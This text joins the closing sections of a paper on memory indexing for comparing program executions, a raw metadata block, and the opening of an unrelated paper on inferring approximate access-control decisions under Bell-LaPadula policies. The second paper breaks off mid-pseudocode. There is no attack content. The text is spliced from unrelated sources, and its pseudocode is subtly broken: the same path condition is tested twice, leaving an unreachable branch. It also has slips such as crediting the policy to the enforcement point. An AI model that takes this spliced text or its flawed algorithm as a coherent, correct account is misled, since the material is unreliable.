There has been recent work on comparing executions for debugging regression faults [10], analyzing impact of code changes [17], and finding matching statements across program versions [7]. These techniques are able to construct a symbolic mapping of variables across program versions through profiling, such as pointer x in version one being renamed to y in version two. The constructed mapping is static. In comparison, we focus on comparing dynamic (address) values of corresponding variables, answering questions like “does x point to the corresponding address in the two executions”. Furthermore, trace canonicalization facilitated by MI would improve the precision of these analyses.
Many debugging techniques [14, 16, 3, 13, 4, 11] compute fault candidates by looking at a large number of executions, both passing and failing. In these techniques, execution profiles are collected and analyzed statistically. Some debugging techniques compare a simple profile of a failure with a small number of correct runs (usually one) [9]. They use control flow paths and code coverage. MI is complementary to these techniques by providing a way to canonicalize profiles before they are analyzed to achieve better precision, especially for pointer related bugs. We have demonstrated in this paper that MI is able to drive cause transition computation that is highly sensitive to memory alignment.
Compared to the recent advances on generating causal explanations of failures [13, 4], The proposed robust, fine-grained memory differencing and substitution primitives make it feasible to extract succinct and in-depth information about failures. For instance, it is relatively easier for us to reason about whether a value at a given execution point is relevant to a failure. Furthermore, MI improves cause transition computation [5, 18] by allowing alignment along the memory dimension, which substantially improves robustness in the presence of aliasing.
9 Conclusions
We present a novel challenge in dynamic program analysis: aligning memory locations across executions. We propose a solution called memory indexing (MI), which provides a canonical representation for memory addresses such that memory locations across runs can be aligned by their indices. Pointer values can be compared across runs by their indices. The index of a memory region is derived from the canonical control flow representation of its dynamic allocation site such that control flow correspondence is projected to memory correspondence. Enabled by MI, we also propose a novel memory substitution primitive that allows robustly copying states across runs. We evaluate the efficiency of two memory indexing semantics. Our results show that the technique has 41% runtime overhead and 213% space overhead on average. We evaluate effectiveness through two client studies: one is trace canonicalization and the other is cause transition computation on failures. The studies show that MI reduces address trace differences by 15-60%. It also scales cause transition computation to programs with complex heap structures.
References
|
{"Source-Url": "https://docs.lib.purdue.edu/cgi/viewcontent.cgi?article=2733&context=cstech", "len_cl100k_base": 14486, "olmocr-version": "0.1.53", "pdf-total-pages": 19, "total-fallback-pages": 0, "total-input-tokens": 56238, "total-output-tokens": 15878, "length": "2e13", "weborganizer": {"__label__adult": 0.00031566619873046875, "__label__art_design": 0.00029778480529785156, "__label__crime_law": 0.0002799034118652344, "__label__education_jobs": 0.0005922317504882812, "__label__entertainment": 5.829334259033203e-05, "__label__fashion_beauty": 0.0001475811004638672, "__label__finance_business": 0.0001366138458251953, "__label__food_dining": 0.0002987384796142578, "__label__games": 0.000652313232421875, "__label__hardware": 0.0013437271118164062, "__label__health": 0.00041556358337402344, "__label__history": 0.00023281574249267575, "__label__home_hobbies": 0.00010192394256591796, "__label__industrial": 0.0003457069396972656, "__label__literature": 0.00024771690368652344, "__label__politics": 0.00020229816436767575, "__label__religion": 0.0004088878631591797, "__label__science_tech": 0.021881103515625, "__label__social_life": 7.414817810058594e-05, "__label__software": 0.0056610107421875, "__label__software_dev": 0.96533203125, "__label__sports_fitness": 0.0002815723419189453, "__label__transportation": 0.0004677772521972656, "__label__travel": 0.0001747608184814453}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 64995, 0.0433]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 64995, 0.48368]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 64995, 0.90049]], "google_gemma-3-12b-it_contains_pii": [[0, 203, false], [203, 4280, null], [4280, 7624, null], [7624, 11311, null], [11311, 14742, null], [14742, 18177, null], [18177, 22125, null], [22125, 25768, null], [25768, 29184, null], [29184, 33558, null], [33558, 39233, null], [39233, 43376, null], [43376, 47132, null], [47132, 49533, null], [49533, 54853, null], [54853, 59090, null], [59090, 61565, null], [61565, 64595, null], [64595, 64995, null]], "google_gemma-3-12b-it_is_public_document": [[0, 203, true], [203, 4280, null], [4280, 7624, null], [7624, 11311, null], [11311, 14742, null], [14742, 18177, null], [18177, 22125, null], [22125, 25768, null], [25768, 29184, null], [29184, 33558, null], [33558, 39233, null], [39233, 43376, null], [43376, 47132, null], [47132, 49533, null], [49533, 54853, null], [54853, 59090, null], [59090, 61565, null], [61565, 64595, null], [64595, 64995, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 64995, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 64995, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 64995, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 64995, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 64995, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 64995, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 64995, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 64995, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 64995, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 64995, null]], "pdf_page_numbers": [[0, 203, 1], [203, 4280, 2], [4280, 7624, 3], [7624, 11311, 4], [11311, 14742, 5], [14742, 18177, 6], [18177, 22125, 7], [22125, 25768, 8], [25768, 29184, 9], [29184, 33558, 10], [33558, 39233, 11], [39233, 43376, 12], [43376, 47132, 13], [47132, 49533, 14], [49533, 54853, 15], [54853, 59090, 16], [59090, 61565, 17], [61565, 64595, 18], [64595, 64995, 19]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 64995, 0.16239]]}
|
olmocr_science_pdfs
|
2024-12-08
|
2024-12-08
|
2ef2a8c5b5bc22f9ecef9c8a844e7fdd24285c09
|
The Secondary and Approximate Authorization Model and its Application to Bell-LaPadula Policies
Jason Crampton
Information Security Group
Royal Holloway, University of London
jason.crampton@rhul.ac.uk
Wing Leung
LERSSE∗
University of British Columbia
wingl@ece.ubc.ca
Konstantin Beznosov
LERSSE∗
University of British Columbia
beznosov@ece.ubc.ca
ABSTRACT
We introduce the concept, model, and policy-specific algorithms for inferring new access control decisions from previous ones. Our secondary and approximate authorization model (SAAM) defines the notions of primary vs. secondary and precise vs. approximate authorizations. Approximate authorization responses are inferred from cached primary responses, and therefore provide an alternative source of access control decisions in the event that the authorization server is unavailable or slow. The ability to compute approximate authorizations improves the reliability and performance of access control sub-systems and ultimately the application systems themselves.
The operation of a system that employs SAAM depends on the type of access control policy it implements. We propose and analyze algorithms for computing secondary authorizations in the case of policies based on the Bell-LaPadula model. In this context, we define a dominance graph, and describe its construction and usage for generating secondary responses to authorization requests. Preliminary results of evaluating SAAMBLP algorithms demonstrate a 30% increase in the number of authorization requests that can be served without consulting access control policies.
Categories and Subject Descriptors
D.4.6 [Security and Protection]: Access Controls; K.6.5 [Management of Computing and Information Systems]: Security and Protection; C.2.0 [Computer Communication Networks]: Security and Protection
General Terms
Security, Theory
Keywords
SAAM, authorization recycling, access control, Bell-LaPadula model
1. INTRODUCTION
Architectures of modern access control solutions—such as [13, 8, 19, 25, 21, 6]—are based on the request-response paradigm. In this paradigm, the policy enforcement point (PEP) intercepts application requests, obtains access control decisions (or authorizations) from the policy decision point (PDP), and enforces those decisions.
In large enterprises, PDPs are commonly implemented as dedicated authorization servers [13, 8, 19], providing such important benefits as consistent policy enforcement across multiple PEPs and the reduction of authorization policy administration. The drawbacks are also critical: reduced performance due to communication delays between the PEP and PDP, as well as reduced reliability, since each PEP depends on its PDP and the network connecting them.
The state-of-the-practice approach to improving overall system reliability and decreasing processing delays observed by system users is to cache authorization decisions at each PEP—what we refer to as authorization recycling. Enterprise authorization solutions [13, 8, 19] commonly provide PEP-side caching. However, these solutions employ a simple form of authorization recycling: a cached decision is reused only if the authorization request in question exactly matches the original request for which the decision was made. We refer to such reuse as precise authorization recycling. This paper explores the possibilities of improving system reliability and performance by inferring approximate authorizations based on information in the PEP’s cache.
The prospect of recycling approximate authorizations is attractive for two reasons: the lack of fault tolerance (FT) techniques that scale to large populations while remaining cost-effective; and the high cost of requesting, making, and delivering an authorization due to communication delays. A conventional approach to improving reliability and availability of a distributed infrastructure is failure masking through redundancy—either information, time, or physical redundancy [10]. However, redundancy and other general-purpose fault-tolerance techniques for distributed systems scale poorly, and become technically and economically infeasible to employ when the number of entities in the system reaches thousands [12, 27].
Consider, for instance, an enterprise with hundreds of thousands of networked commodity computers. Even if the
mean time to failure (MTTF) of each computer (and all its critical software and hardware components) were one year, in an enterprise with half a million computers,\(^1\) over 1,300 would fail every day. With the average availability of each machine maintained at a level of 99.9% (a somewhat unrealistically high expectation for such a large population of commodity equipment and software), almost 500 computers would be unavailable at any given moment. As generic FT techniques do not scale for enterprises of such size, domain-specific approaches become attractive. SAAM is a representative approach in which the specifics of access control policies are employed to mask PDP-related failures.
Making access control decisions can also be time consuming. In a large enterprise, arriving at an authorization decision could be computationally expensive due to the heterogeneity and large size of the object and subject populations. In addition, evaluating authorization policy could require obtaining just-in-time data from human resources, medical records, and other repositories of business data, which commonly further increases the time required for making an access control decision. The overall delay in requesting and obtaining an authorization for short transactions could make the authorization overhead prohibitively expensive. With business and policy decisions often made to be just good enough, low-cost approximate authorizations could provide a viable alternative.
In this paper, we introduce a general framework for making use of PDP responses that are cached by the PEP. These responses are based directly on information contained in the access control policy—so-called primary evidence. We use these cached responses to infer responses to new access requests in the event that the PDP is unavailable. Such responses are based on secondary evidence contained in the PEP’s cache.
The secondary and approximate authorization model (SAAM) is a conceptual framework for authorization requests and responses. It is independent of the specifics of the underlying application and access control policy. For each class of access control policy, specific algorithms for making inferences about the authorization responses generated by a particular access control policy need to be provided.
After introducing SAAM, we extend it to include inference algorithms for access control policies based on the Bell-LaPadula (BLP) model [1, 2]. Our approach to authorization inference for BLP is based on the idea of a dominance graph, which provides a partial mapping of subjects and objects to security labels. We illustrate how to use the dominance graph to compute secondary responses, and briefly discuss the computational complexity of our approach.
We are in the process of evaluating our SAAM\(_{\text{BLP}}\) algorithms. Preliminary results indicate that even with small numbers of objects and subjects per security label, our algorithms yield up to a 30% better “hit rate” for a SAAM-enabled PEP cache than for a conventional one, which recycles precise authorizations only.
The rest of the paper is organized as follows. The next section introduces the fundamental elements of SAAM. Section 3 defines SAAM\(_{\text{BLP}}\), the extension of SAAM to the Bell-LaPadula model. We describe the dominance graph and algorithms for constructing and querying the graph. Section 4 discusses related work. In Section 5, we draw conclusions from the obtained results and discuss future work.
2. \textbf{SAAM BUILDING BLOCKS}
Users of a computer system generate requests to access resources maintained by that system. We assume that the computer system enforces some kind of access control policy, by which different users have different degrees of access to the protected resources of the system. In particular, we are interested in distributed computer systems in which distinct, trusted software components are used to
1. intercept application requests;
2. decide whether each request should be granted by evaluating the request with reference to the system’s access control policy.
These components are often known as the policy enforcement point (PEP) and the policy decision point (PDP), respectively. Figure 1 illustrates a generic access control architecture for distributed computer systems. PEPs vary depending on the technology and the application. They can be security interceptors, as in CORBA [21], ASP.NET [17], and most Web servers, or part of the component container, as in COM+ [7] and EJB [6]. They can also be simply application code, as in the case of current implementations, sometimes based on static or dynamic “weaving” using aspect-oriented software development techniques [14].
We distinguish between the application request generated by the user process, which is intercepted by the PEP, and the authorization request, which is generated by the PEP and forwarded to the PDP for evaluation. We make this distinction because in distributed computing environments, the format of the authorization request must be compatible with the PDP logic and is commonly quite different from the format and content of the application request. For example, this transformation is performed by the context handler in the XACML-compliant PEP. The context handler generates an XACML request context, which is sent to the PDP for processing [20]. Another example is the authorization request made by the CORBA Security Interceptor to the Access Decision Object (ADO), which acts as a PDP. The request to the ADO supplies subject’s attributes, target object ID, implemented interface, and operation to be invoked, but omits the parameters of the application request. For the sake of brevity, we will write request for authorization request.\(^*\)
The PDP returns an authorization decision (or simply, decision) to the PEP, which enforces that decision. The decision is based on the access control policy (a.k.a. authorization information) maintained by the PEP.
In what follows, we assume that the PDP is unable to make a timely decision, either because of hardware or software failures, or because of communication problems or high network latency. Instead, the PEP caches authorization requests and responses, and compares new requests with this cached information in order to compute authorization decisions. As these decisions are not obtained from the PDP, they are by necessity secondary. The following sub-sections define the building blocks of a general model and specific algorithms for making timely and safe secondary decisions: authorization requests and responses, secondary decision point, and the strategy for computing approximate authorizations.
\(^1\)Some enterprises, such as Amazon.com, are not far away from having that many computers, which have MTTF as short as two months [27].
2.1 Authorization Requests
Users are modelled as subjects, which are generally understood to be the computer processes or threads associated with the application program(s) run by the user. A subject is associated with security-relevant attributes, which typically include identifiers for the user and groups or roles to which the user belongs. Resources are modelled as objects. Generally there may be more than one form of interaction between a subject and an object: typical examples include read, write, and execute. Hence, an access request has traditionally been modelled as a triple \((s, o, a)\), where \(s\) is a subject, \(o\) is an object, and \(a\) is an action or access right. It is common nowadays to include contextual information in an access request, for example, the time of the request or the location of the subject.
**Definition 1.** An authorization request is a tuple \((s, o, a, c, i)\), where \(s\) is a subject, \(o\) is an object, \(a\) is an access right, \(c\) is contextual information, and \(i\) is a request identifier.
Each request has a unique identifier. It is commonly supported by the underlying technologies for matching authorizations to the corresponding requests. For example, in middleware based on the semantics of remote procedure calls (RPC), such as CORBA [21], EJB [6], DCOM [4], and DCE [15], an object request broker (ORB) uses request IDs to pair the outgoing requests on remote objects with the incoming responses. The format and representation of request identities are technology-specific.
In many cases we are interested in requests that are identical except for their respective identifiers. Hence we use the following notation for requests interchangeably: \((q, i)\) and \((s, o, a, c, i)\). We say that the requests \((q, i)\) and \((q', i')\) are equivalent.
2.2 Authorization Responses
An authorization response may be generated by the PDP or it may be generated by the PEP using cached information. In this paper, we will be concerned with the latter case.
**Definition 2.** An authorization response for request \((q, i)\) is a tuple \((r, i, E, d)\), where \(r\) is a response identifier, \(d\) is a decision and \(E\) is a list of response identifiers.
To maintain the generality of SAAM, the decision element of the response tuple may take a number of different values apart from the standard responses of allow and deny. In particular, a decision may return an undecided response to indicate that a response could not be computed.
**Definition 3.** If a response has the form \((r, i, [], d)\), where \([\_]\) denotes the empty list, then we say that it is a primary response. Otherwise, we say that \((r, i, E, d)\) is a secondary response.
A primary response is made by the PDP, and is based directly on the access control policy, which we call primary authorization information (namely, the access control policy). Other responses are made by the PEP, based on earlier requests and decisions. The list of response identifiers \(E\) forms the evidence that was used to make the decision. Secondary responses are said to be based on secondary authorization information (namely, the cached responses and the corresponding requests).
**Definition 4.** Let \((q, i)\) be a request. Then the response \((r, i, E, d)\) is precise if either the response is primary, or it is secondary and there exists an equivalent request \((q, i')\) with response \((r', i', [], d)\). In the former case \(E = [\_]\), and in the latter \(E = [i']\). A response is approximate if it is not precise.
We assume that the authorization policy is not readily available to the SDP. In other words, the secondary response is based on the set of cached primary responses and any information that can be deduced from an application request and the system environment. In the simplest case, we can consider two requests \((q, i)\) and \((q', i')\) such that if \(q\) had previously been allowed, then \(q'\) should also be allowed, and if \(q\) had previously been denied, then \(q'\) should also be denied.
Let us assume, for example, that \(r\) denotes generic read access and \(w\) denotes generic write access, where \(w\) is implemented as allowing read and write access (as in the Bell-LaPadula model). Then the request \((s, o, r, c, i)\) can be granted if the request \((s, o, w, c, i)\) has previously been granted. Conversely, the request \((s, o, w, c, i')\) should be denied if the request \((s, o, r, c, i)\) has previously been denied. In this case, the ability to make an approximate response is based on the structure of the access-right space, namely the fact that \(w\) "implies" \(r\).
Alternatively, it might be that the SDP is provided with a summary or "digest" of the authorization policy. This digest could simply provide an ordering on the set of subjects derived from the information in the authorization policy. Specifically, we define an ordering on the set of subjects such that \(s \geq s'\) if the set of requests authorized for \(s\) is a superset of the requests authorized for \(s'\). Then the request \((s', o, a, c, i)\) is allowed if the request \((s, o, a, c, i)\) has previously been allowed and \(s' \geq s\). Conversely, \((s', o, a, c, i')\) is denied if \((s, o, a, c, i)\) has been denied and \(s' \geq s\).
We can summarize these observations by writing \(q \Rightarrow q'\) to denote that a decision to grant \(q\) determines whether to grant \(q'\) (and hence a decision to deny \(q'\) determines whether to deny \(q\)). Then the request \((q', i')\) is granted if a previous request \((q, i)\) exists such that \(q \Rightarrow q'\) with a cached response \((r, i, E, allow)\), and is denied if a request \((q, i)\) exists such that \(q' \Rightarrow q\) with a cached response \((r, i, E, deny)\).
Clearly, the greater the number of cached responses, the greater the information available to the SDP. As more and more PDP responses are cached, the SDP will become a better and better simulator of the PDP. If it is a safe SDP, the number of false negatives will decrease over time; if it is a consistent SDP, the number of false positives will decrease over time.
In summary, in order to compute an approximate authorization, we need to cache primary authorizations and we need some method for inferring whether and how each cached response is applicable to the current request. The notion of "applicability" depends on the implementation, the underlying access control policy, and the additional information that is available to the SDP. An important aspect of future research will be to determine "what works" in terms of the information that can be usefully and efficiently stored by the SDP (in addition to the cached responses). In the next section, we examine how approximate authorization works when the underlying access control policy is based on an information flow policy for confidentiality, as implemented in the Bell-LaPadula model.
---
2This would be particularly easy for RBAC systems.
3Note that this does not define a partial ordering on the set of subjects as it is not anti-symmetric: that is, \(s \leq s'\) and \(s' \leq s\) does not imply that \(s = s'\).
3. SAAM_{BLP}
This section describes the construction of an SDP for an information flow policy for confidentiality, which is used in the Bell-LaPadula (BLP) model \cite{bell1973introduction, lambert2003introduction}. The information flow policy forms the mandatory part of the model and defines the following sets and functions:
- a set of subjects \( S \) and a set of objects \( O \);
- a lattice of security labels \( L \);\footnote{Strictly speaking, the BLP model requires \( L \) to have the form \( C \times 2^K \), where \( C \) is a linearly ordered set of security classifications and \( K \) is a set of needs-to-know categories.}
- a security function \( \lambda : S \cup O \rightarrow L \).
The simple security property permits a subject \( s \) to read an object \( o \) if \( \lambda(s) \geq \lambda(o) \); the *-property permits a subject \( s \) to write to an object \( o \) if \( \lambda(s) \leq \lambda(o) \). The BLP model identifies three generic access rights to which these security properties apply: read, which is a read-only action; append, which is a write-only action; and write, which is a read-write action. Hence, the request \((s, o, \text{write}, c, i)\) is only granted if \( \lambda(s) \geq \lambda(o) \).
In the full BLP model, a request must be authorized by an access matrix (in addition to satisfying the simple security and *-properties). In this paper, we focus on the mandatory part of the model.
We now describe how we can derive approximate authorization responses for the BLP model. We distinguish between three different scenarios:
1. Each SDP contains a copy of the security lattice. The \( \lambda(o) \) is locally available to the SDP. The \( \lambda(s) \) is either part of the security context of the application request (i.e., it is "pushed" from the client to the server) or is also locally available to the SDP.
2. Each SDP contains a copy of the security lattice. Primary responses (from the PDP) for a request of the form \((s, o, a, c, i)\) contain \( \lambda(s) \) and \( \lambda(o) \).
3. Primary responses contain no information about the security level of the entities in the request.
To decide requests in the first scenario, the SDP looks up the security labels for both subject and object and compares them using the lattice. Clearly, no involvement of the PDP is required for the SDP to compute a precise response. This case is common among systems in which (1) \( \lambda(o) \) is part of the object meta-data, and (2) subject credentials are "pushed" from the client’s security subsystem to that of the server. An example of systems that support "pushing" subject credentials is CORBA \cite{corba}. However, not all systems use the "push" approach for credentials, due to the limitations of the underlying security protocols, the communication technologies, or the administrative constraints.
In the second scenario, the SDP can decide a new request, provided both subject and object have been involved in earlier requests. In particular, the SDP searches its cache for requests involving the two entities and obtains their respective security labels. The SDP can then use the security lattice to determine whether one label dominates the other and hence generate an appropriate response to the request. Clearly, the first two cases are simple; we therefore focus on the more challenging third case.
A naïve solution to the third scenario would be to provide each SDP with the security lattice and a complete set of \((s, \lambda(o))\) \((s, \lambda(s))\) tuples, essentially combining the PEP and PDP. Although such an approach is straightforward, it does not scale with large populations of subjects and objects, and voids the benefits of decoupling PDPs and PEPs, namely consistent policy enforcement across multiple PEPs and reduced administration of authorization policy. In this section, we describe an approach that does not have these drawbacks.
Intuitively, responses to requests enable us to infer information about the relative ordering on security labels associated with subjects and objects. If, for example, the requests \((s, o, \text{read})\) and \((s', o, \text{append})\) are allowed by the PDP, then we can infer that \( \lambda(s) \geq \lambda(o) \geq \lambda(s') \). If, in addition, the request \((s, o, \text{append})\) is denied, then we can infer that \( \lambda(s) > \lambda(o) \).
To record the relative ordering on subject and object security labels, we build a data structure, called a dominance graph, from authorization responses made by the PDP. Each node in the dominance graph represents a set of entities with the same security label, while each edge records information about the ordering of entities. The dominance graph represents partial knowledge about the security lattice and the mapping of entities to labels in that lattice. We now describe the dominance graph more formally, its construction, and how it can be used to generate approximate responses.
3.1 The Dominance Graph
The dominance graph is constructed from the set of responses made by the PDP. It is used to encode information that can be inferred from those responses. Let \( Q \) denote the set of requests for which primary responses exist, and let \( R \) denote the set of corresponding responses. Let \( S(R) \) denote the set of subjects that appear in requests in \( Q \) and let \( O(R) \) be defined analogously for objects.
**Definition 6.** Given a set of responses \( R \), the dominance graph \( G(R) = (V(R), E(R)) \) is a directed acyclic graph with the following properties:
- For each vertex \( v \in V(R) \), \( v \subseteq S(R) \cup O(R) \) and for all \( x, y \in v \), \( \lambda(x) = \lambda(y) \);
- For each edge \((x, y) \in E(R)\), a response exists in \( R \) that implies \( \lambda(x) \geq \lambda(y) \).
When \( R \) is obvious from the context, we simply write \( G = (V, E) \) for the dominance graph, \( S \) for \( S(R) \), and \( O \) for \( O(R) \). We write \( E^* \) to denote the transitive closure of the binary relation \( E \). In other words, \((v, v') \in E^* \) iff there is a (directed) path from \( v \) to \( v' \) in \( G \). Examples of dominance graphs are shown in Figure 6.
There is no ambiguity in referring to the security label of a node in the graph. By definition, each entity associated with a particular node in the dominance graph has the same security label. Henceforth, we will write \( \lambda(v) \) to signify the security label of all the entities contained in node \( v \) of the dominance graph.
Note, however, that two different nodes may have the same security label. In the simplest case, where \( Q = \{(s, o, \text{read}, c, i)\} \) and \( R = \{(r, i, [], \text{allow})\} \), we can only infer that \( \lambda(s) \geq \lambda(o) \). Hence, the dominance graph would contain two nodes, one containing \( s \) and one containing \( o \),
and a single edge from the node containing $s$ to the node containing $o$. It may be that $\lambda(s) = \lambda(o)$, but we would require additional requests and responses to infer this fact. In particular, if the PDP granted the request $(s, o, \text{append}, c, i)$, we could infer that $\lambda(s) \leq \lambda(o)$ and hence create a loop in the dominance graph, which can be collapsed to a single node containing $s$ and $o$.
Moreover, a path in the dominance graph, and the transitivity of the partial order, means that we can use the dominance graph to make approximate responses. In particular, if $s \in v$ and $o \in v'$ and there is a path from $v$ to $v'$ in the dominance graph (that is, $(v, v') \in E^*$), then we can deduce that $\lambda(s) \geq \lambda(o)$ and that a request from $s$ to read $o$ should be granted.
Note that the dominance graph is a faithful (though incomplete) representation of the security lattice $\mathcal{L}$ in the sense that if $l \leq l'$ in $\mathcal{L}$, $v, v' \in V$, $\lambda(v) = l$ and $\lambda(v') = l'$, then $(v', v) \in E^*$. As more primary responses are added to $R$, more edges can be added to the graph, and more cycles will be created in the dominance graph; this leads, after cycle collapsing, to fewer nodes, each containing more entities. Over time, therefore, the dominance graph will tend to resemble the security lattice.
### 3.2 Constructing the Dominance Graph
In this section, we present two algorithms: the first is for adding a new edge to the dominance graph given a response from the PDP that allows a new request $(s, o, a, c, i)$; the second is for coalescing multiple nodes in the graph into a single node. It is used when a cycle is created within the dominance graph and two or more nodes are collapsed into a single node in which all the entities have the same security level.
Note that a deny response from the PDP does not allow enough information to be inferred about the ordering between two entities to add an edge to the dominance graph. Hence, in the first algorithm we only consider allow responses from the PDP. Making use of deny responses is the subject of ongoing work.
#### 3.2.1 Adding New Responses
When the PDP allows a request $(s, o, a, c, i)$, we can add further information to the dominance graph. In particular, we may add a new node for $s$ or $o$ if they do not already exist in the graph, and we may add an edge from $s$ to $o$ if $a$ involves reading $o$ (a is read or write), or from $o$ to $s$ if $a$ involves writing to $o$ (a is append or write). Figure 4 shows pseudo-code for the AddAllowResponse algorithm, which takes the current dominance graph and the request $(s, o, a, c, i)$ as parameters, and constructs a new dominance graph.
The algorithm first adds $s$ and $o$ to the graph if they are not already associated with one of the nodes (lines 02–07). It then adds a new edge to the graph if there is no path between the entities (lines 10–11 and 17–18). The edge is directed from $s$ to $o$ if the requested right includes reading $o$ (line 12), and is directed from $o$ to $s$ if the requested right includes appending to $o$ (line 19).
Notice that the algorithm CollapseCycles is used whenever a cycle would be created in the dominance graph by the addition of an edge (lines 13–14 and 20–21). We describe this algorithm in the next section.
```plaintext
1: AddAllowResponse(G, (s, o, a, c, i))
2: if s is not in any node in G then
3: add s to G
4: end if
5: if o is not in any node in G then
6: add o to G
7: end if
8: let $v_s$ denote node containing s
9: let $v_o$ denote node containing o
10: if $a \in \{\text{read, write}\}$ and $(v_s, v_o) \notin E^*$ then
11: if $(v_s, v_o) \notin E^*$ then
12: add an edge between $v_s$ and $v_o$
13: else
14: $G = \text{CollapseCycles}(G, v_s, v_o)$
15: end if
16: end if
17: if $a \in \{\text{append, write}\}$ and $(v_s, v_o) \notin E^*$ then
18: if $(v_s, v_o) \notin E^*$ then
19: add an edge between $v_s$ and $v_o$
20: else
21: $G = \text{CollapseCycles}(G, v_s, v_o)$
22: end if
23: end if
```
Figure 4: Adding a response to the dominance graph
#### 3.2.2 Removing Cycles
The addition of an edge to the dominance graph may introduce a cycle in the graph. For any cycle comprising the edges $(v_1, v_2), (v_2, v_3), \ldots, (v_{n-1}, v_n), (v_n, v_1)$ we have, by definition of the dominance graph,
$$\lambda(v_1) \leq \lambda(v_2) \leq \cdots \leq \lambda(v_n) \leq \lambda(v_1).$$
By transitivity, we deduce that
$$\lambda(v_1) = \lambda(v_2) = \cdots = \lambda(v_n).$$
Hence, our algorithm removes cycles from the dominance graph by reducing the set of nodes in the cycle to a single node.
A pseudo-code implementation of this algorithm is shown in Figure 5. The algorithm takes the dominance graph $G$, a start node $v_{\text{start}}$ and an end node $v_{\text{end}}$ as parameters. The first stage of the algorithm (line 02) is to compute the subgraph $G'$ comprising all paths from $v_{\text{start}}$ to $v_{\text{end}}$. The intuition is that CollapseCycles is called if a response means that we could infer that the edge $(v_{\text{end}}, v_{\text{start}})$ should be added to the graph. Hence, the existence of a path from $v_{\text{start}}$ to $v_{\text{end}}$ implies the existence of a cycle in the dominance graph. As a result of the algorithm execution, $G'$ is replaced by the single node $v_{\text{start}}$. We then compute all nodes outside $G'$ that are neighbors of some node in $G'$ (lines 03–04). These nodes are re-connected to $v_{\text{start}}$, the node that will replace $G'$ (lines 10–15). We also re-assign all subjects and objects associated with each node in $G'$ to $v_{\text{start}}$ (lines 05–09). Finally, we prune all the redundant edges and nodes from the dominance graph (lines 19–20).
When the set of cached responses is small, the dominance graph will contain many nodes, as there will be insufficient information to infer that several entities have the same security level. Over time, the number of cached responses will grow and cycles will emerge and be collapsed into single nodes, reducing the number of nodes in the dominance...
1: CollapseCycles(G, v_{start}, v_{end})
2: let G' = (V', E') be subgraph comprising all paths from v_{start} to v_{end}
3: let InEdges = \{(v, v') \in E : v \in V \setminus V', v' \in G'\}
4: let OutEdges = \{(v', v) \in E : v \in V \setminus V', v' \in G'\}
5: for all v' \in V' do
6: for all x \in v' do
7: add x to v_{start}
8: end for
9: end for
10: for all (v, v') \in InEdges do
11: add (v, v_{start}) to E
12: end for
13: for all (v', v) \in OutEdges do
14: add (v_{start}, v) to E
15: end for
16: delete all nodes in V' except for v_{start}
17: delete all edges in InEdges and OutEdges
Figure 5: Removing cycles from the dominance graph
The dominance graph will eventually become identical to the security lattice and each node will be labelled with precisely the set of entities that have the corresponding security label.\footnote{Formally speaking, we can define a binary relation \( \sim \) on \( S \cup O \), where \( x \sim y \) iff \( \lambda(x) = \lambda(y) \). It is easy to prove that \( \sim \) is an equivalence relation, and hence that \( S \cup O \) is partitioned into equivalence classes. Each equivalence class is a node in the dominance graph.}
3.2.3 Example
We now illustrate how a simple dominance graph develops as responses are generated by the PDP. We will assume that the security lattice \( L \) is simply a linear ordering with three elements (say, Low < Medium < High) and that the set of needs-to-know categories is empty. For the sake of readability, we will omit the context variable in these requests and put the request identifier in the right column. Let us assume that the following requests are all allowed by the PDP:
\[
\begin{align*}
(s_1, o_1, \text{read}), & \quad (1) \quad (s_4, o_2, \text{append}), & \quad (6) \\
(s_2, o_1, \text{append}), & \quad (2) \quad (s_4, o_3, \text{read}), & \quad (7) \\
(s_3, o_2, \text{read}), & \quad (3) \quad (s_4, o_1, \text{read}), & \quad (8) \\
(s_3, o_1, \text{write}), & \quad (4) \quad (s_3, o_3, \text{write}), & \quad (9) \\
(s_1, o_2, \text{read}), & \quad (5) \quad (s_2, o_4, \text{write}). & \quad (10)
\end{align*}
\]
The evolution of the dominance graph is shown in Figure 6. We note the following features of this diagram.
- Request (1) causes the first two nodes to be created in the dominance graph; the arrow is directed from the subject to the object because it is a read request.
- Request (2) causes one new node to be added to the graph, because the requested object was also used in the previous request.
- Request (3) causes two further nodes to be created in the graph, because neither the requesting subject nor the requested object are stored in the cache.
- Request (4) causes two edges to be added to the graph, creating a cycle (because write in BLP is append and read). As a result, \( s_3 \) and \( o_1 \) are associated with the same node.
- Request (5) has no effect on the dominance graph, because a path already exists between \( s_1 \) and \( o_2 \) in the graph.
- Requests (6), (7), and (8) simply increase the height of the dominance graph.
- Request (9) creates a cycle involving four nodes in the graph, which are collapsed onto a single node containing \( o_1, s_3, o_2, s_4, \) and \( o_3 \).
- Finally, request (10), for performing generic write, creates a cycle between \( s_2 \) and \( o_4 \), causing them to be collapsed into a single node.
At this point, the dominance graph is identical to the security lattice.
3.3 Generating Approximate Responses
Given a request \((s, o, a, c, i)\), we can use the dominance graph to compute an approximate response. If \( a \) is read, then we allow the request if a path exists from the node containing \( s \) to the node containing \( o \) in the dominance graph. If \( a \) is append, then we allow the request if there is a path from the node containing \( o \) to the node containing \( s \) in the dominance graph. Finally, if \( a \) is write, then we allow the request if \( s \) and \( o \) belong to the same node in the dominance graph.
1: EvaluateRequest(G, (s, o, a, c, i), l)
2: let \( v_s \) be the node containing \( s \)
3: let \( v_o \) be the node containing \( o \)
4: if \( a = \text{write} \) then
